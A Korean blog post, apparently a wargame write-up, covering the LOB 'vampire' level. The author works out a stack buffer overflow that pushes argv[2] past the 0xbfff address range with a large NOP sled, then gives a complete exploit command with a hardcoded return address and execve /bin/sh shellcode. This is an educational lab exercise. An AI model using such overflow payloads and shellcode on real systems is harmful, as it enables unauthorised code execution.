반응형
troll -> vampire 로 접속합니다.
소스파일을 봅시다.
우선 argc<2네요
어?argv[1][46] 이 \xff 이면 안되네요
이때까지 풀어올대 맨날 저 xff 가 나왔는데
코드를 보니
argv[2]를 활용해서 풀어야 될듯 합니다.
하지만 리턴 어드레스를 설정해줄때 argv[2]의 주소가 0xbf'ff'~가 되면 안되겠네요
이때까지 푼 모든 문제에서 주소가 저런형태였는데...
해결방법을 생각하던 중
argv[2]의 값을 아주 많이 넣어주면 주소가 밀릴꺼라는 생각을 했습니다.
확인해보도록 하죠.
우선 더미값은 없네요
RET 4
SFT 4
BUFFER 40
입니다.
argv[2]의 주소가 변하는지 알아보기 위해 vampire.c를 복사하여
printf("0x%x\n", argv[2]);
코드를 삽입시켜 주소를 출력해줍시다.
99999번의 nop을 넣으니깐 0xbffe~로 되네요
25바이트의 쉘코드를 쓸거니깐
44바이트 쓰레기값 -> 4바이트의 argv[2]의 주소 +99974바이트의 쓰레기값 + 25바이트의 쉘코드
형태로 익스플로잇코드를 작성해서 카피한 파일에 시도하니 잘 되네요.
./vampire `python -c 'print "A"*44+"\x9b\x75\xfe\xbf"'` `python -c 'print "\x90"*99974 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
반응형
'Security > Pwnable' 카테고리의 다른 글
LOB Level 11 skeleton (0) | 2021.08.10 |
---|---|
LOB Level 10 vampire (0) | 2021.08.09 |
LOB Level 8 orge (0) | 2021.08.09 |
LOB Level 7 darkelf (0) | 2021.08.09 |
LOB Level 6 wolfman (0) | 2021.08.09 |